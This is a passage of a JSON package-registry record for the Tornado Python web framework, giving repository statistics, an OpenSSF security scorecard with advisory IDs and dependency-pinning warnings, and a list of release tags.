":"Tornado is a Python web framework and asynchronous networking library. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.","homepage":"https://www.tornadoweb.org/","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/tornadoweb/tornado","keywords_array":[],"namespace":null,"versions_count":22,"first_release_published_at":"2017-09-20T23:55:01.000Z","latest_release_published_at":"2026-06-24T15:27:40.000Z","latest_release_number":"6.5.7","last_synced_at":"2026-08-21T16:27:01.001Z","created_at":"2022-10-03T15:41:42.721Z","updated_at":"2026-08-24T19:51:42.677Z","registry_url":"https://anaconda.org/anaconda/tornado","install_command":"conda install -c anaconda tornado","documentation_url":null,"metadata":{},"repo_metadata":{"id":658918,"uuid":"301742","full_name":"tornadoweb/tornado","owner":"tornadoweb","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.","archived":false,"fork":false,"pushed_at":"2026-08-07T15:34:25.000Z","size":11095,"stargazers_count":22179,"open_issues_count":252,"forks_count":5550,"subscribers_count":948,"default_branch":"master","last_synced_at":"2026-08-23T14:39:42.881Z","etag":null,"topics":["asynchronous","python"],"latest_commit_sha":null,"homepage":"http://www.tornadoweb.org/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tornadoweb.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2009-09-09T04:55:16.000Z","updated_at":"2026-08-23T02:08:09.000Z","dependencies_parsed_at":"2026-08-14T16:34:01.251Z","dependency_job_id":null,"html_url":"https://github.com/tornadoweb/tornado","commit_stats":{"total_commits":3791,"total_committers":449,"mean_commits":8.443207126948774,"dds":"0.34819308889475076","last_synced_commit":"0a39ba8b6ac0beb48a3244098cfa72ce1f59f215"},"previous_names":["facebook/tornado"],"tags_count":85,"template":false,"template_full_name":null,"purl":"pkg:github/tornadoweb/tornado","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/sbom","scorecard":{"id":895010,"data":{"date":"2025-08-11","repo":{"name":"github.com/tornadoweb/tornado","commit":"c2bd430e422fbe0302e0d8d64c4a4d4b826b1825"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":3,"reason":"Found 5/14 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: found token with 'none' permissions: .github/workflows/build.yml:1","Info: found token with 'none' permissions: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:95: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:101: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:139: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: containerImage not pinned by hash: demos/blog/Dockerfile:1: pin your Docker image by updating python:3.7 to python:3.7@sha256:eedf63967cdb57d8214db38ce21f105003ed4e4d0358f02bedc057341bcf92a0","Warn: pipCommand not pinned by hash: demos/blog/Dockerfile:9","Warn: pipCommand not pinned by hash: maint/vm/freebsd/setup.sh:21","Warn: pipCommand not pinned by hash: maint/vm/ubuntu12.04/setup.sh:41","Warn: pipCommand not pinned by hash: maint/vm/ubuntu14.04/setup.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:74","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:40","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:84","Info:   0 out of  16 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   8 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build.yml:80"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-753j-mpmx-qq6g","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: PYSEC-2020-213 / GHSA-8vpw-mgpf-mpvv","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: PYSEC-2012-5 / GHSA-f7fv-v9rh-prvc","Warn: Project is vulnerable to: PYSEC-2023-75 / GHSA-hj3f-6gcp-jg8j","Warn: Project is vulnerable to: GHSA-qppv-j76h-2rpx","Warn: Project is vulnerable to: GHSA-w235-7p84-xx57"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-24T13:21:32.547Z","repository_id":658918,"created_at":"2025-08-24T13:21:32.547Z","updated_at":"2025-08-24T13:21:32.547Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36881182,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-24T02:00:14.037Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tornadoweb","name":"tornadoweb","uuid":"7468980","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/7468980?v=4","repositories_count":1,"last_synced_at":"2026-08-22T00:11:50.763Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/tornadoweb","funding_links":[],"total_stars":22187,"followers":101,"following":0,"created_at":"2022-11-02T16:23:22.380Z","updated_at":"2026-08-22T00:11:50.814Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb/repositories"},"tags":[{"name":"v6.5.8","sha":"a55abe3e3bf59994f29b2f7084c46341f0d4f6a7","kind":"tag","published_at":"2026-08-07T01:56:30.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.8","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.8/manifests"},{"name":"v6.5.7","sha":"48fc2d43d1f48b8b3b0be5dcf6a7634c6f45b1c4","kind":"tag","published_at":"2026-06-08T16:59:06.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.7","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.7/manifests"},{"name":"v6.5.6","sha":"aba2569f7ed7a6bdbef816658fb6b7182531b751","kind":"tag","published_at":"2026-05-27T15:19:37.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.6","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.6/manifests"},{"name":"v6.5.5","sha":"7d6465056ceb7a054b3f64cf1c18271753b10482","kind":"tag","published_at":"2026-03-10T21:14:20.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.5","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.5/manifests"},{"name":"v6.5.4","sha":"63d4df4eefa6750bb14efa1ebffe67b8c54fbad4","kind":"tag","published_at":"2025-12-15T18:42:34.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.4","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.4/manifests"},{"name":"v6.5.3","sha":"38014ddb51520ff7762c1d55535925dba2cdbe31","kind":"tag","published_at":"2025-12-11T04:00:00.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.3","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.3/manifests"},{"name":"v6.5.2","sha":"547e6d86972238f1f5333a85f12b17fb33626899","kind":"tag","published_at":"2025-08-08T18:10:29.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.2/manifests"},{"name":"v6.5.1","sha":"b5586f3f2956308a9dff1fba2c3ddbbbe1ab29d0","kind":"tag","published_at":"2025-05-22T17:57:59.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.1/manifests"},{"name":"v6.5.0","sha":"ab5f35431242f95a5ef0a2ac228e54e89ab511f0","kind":"tag","published_at":"2025-05-15T20:18:40.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0/manifests"},{"name":"v6.5.0b1","sha":"bfe748948581fff5fef41d6297bcf5baf6915dd6","kind":"commit","published_at":"2025-04-29T20:36:54.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.5.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.5.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.5.0b1/manifests"},{"name":"v6.4.2","sha":"a5ecfab15e52202a46d34638aad93cddca86d87b","kind":"tag","published_at":"2024-11-22T02:37:18.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.2/manifests"},{"name":"v6.4.1","sha":"2a0e1d13b5222dca4388c0ec8a4bb74ea6fa4af2","kind":"tag","published_at":"2024-06-06T18:12:16.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.1/manifests"},{"name":"v6.4.0","sha":"b3f2a4bb6fb55f6b1b1e890cdd6332665cfe4a75","kind":"tag","published_at":"2023-11-29T03:19:42.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0/manifests"},{"name":"v6.4.0b1","sha":"5a877238ed1c2ce7a58f2568c52c3eb0fffe8064","kind":"tag","published_at":"2023-11-16T03:10:17.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.4.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.4.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.4.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.4.0b1/manifests"},{"name":"v6.3.3","sha":"e4d698433b44f350d4908da9ca2cac475c92dfdc","kind":"tag","published_at":"2023-08-11T14:45:47.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.3","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.3/manifests"},{"name":"v6.3.2","sha":"34f5c1cf2696afec5532ca9e870ba32cbc7fee27","kind":"tag","published_at":"2023-05-14T01:38:10.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.2/manifests"},{"name":"v6.3.1","sha":"419838b9bcc51445241630def0478f1fbaa61b4b","kind":"tag","published_at":"2023-04-21T20:33:11.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.1/manifests"},{"name":"v6.3.0","sha":"298dc390bbc2d06b93d8e7b063c1a216184c11fe","kind":"tag","published_at":"2023-04-18T01:19:13.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0/manifests"},{"name":"v6.3.0b1","sha":"c83389fa103d62eb3e4911d5dd9b1971852f4867","kind":"commit","published_at":"2023-04-09T20:45:26.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.3.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.3.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.3.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.3.0b1/manifests"},{"name":"v6.2.0","sha":"a4f08a31a348445094d1efa17880ed5472db9f7d","kind":"tag","published_at":"2022-07-03T22:11:23.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.2.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0/manifests"},{"name":"v6.2.0b2","sha":"1de5e68d1684e99b80e73beb59661c2fe1c57319","kind":"commit","published_at":"2022-06-17T20:40:41.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.2.0b2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.2.0b2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.2.0b2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0b2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0b2/manifests"},{"name":"v6.2.0b1","sha":"4470d6927a598b2d8e7aaf14398ab7ca5b0ed5c6","kind":"tag","published_at":"2022-06-10T19:09:39.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.2.0b1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v6.2.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v6.2.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v6.2.0b1/manifests"},{"name":"v6.1.0","sha":"2047e7ae3c825bf52dad10cc8402d09e11091bc1","kind":"tag","published_at":"2020-10-30T17:45:28.000Z","download_url":"https://cod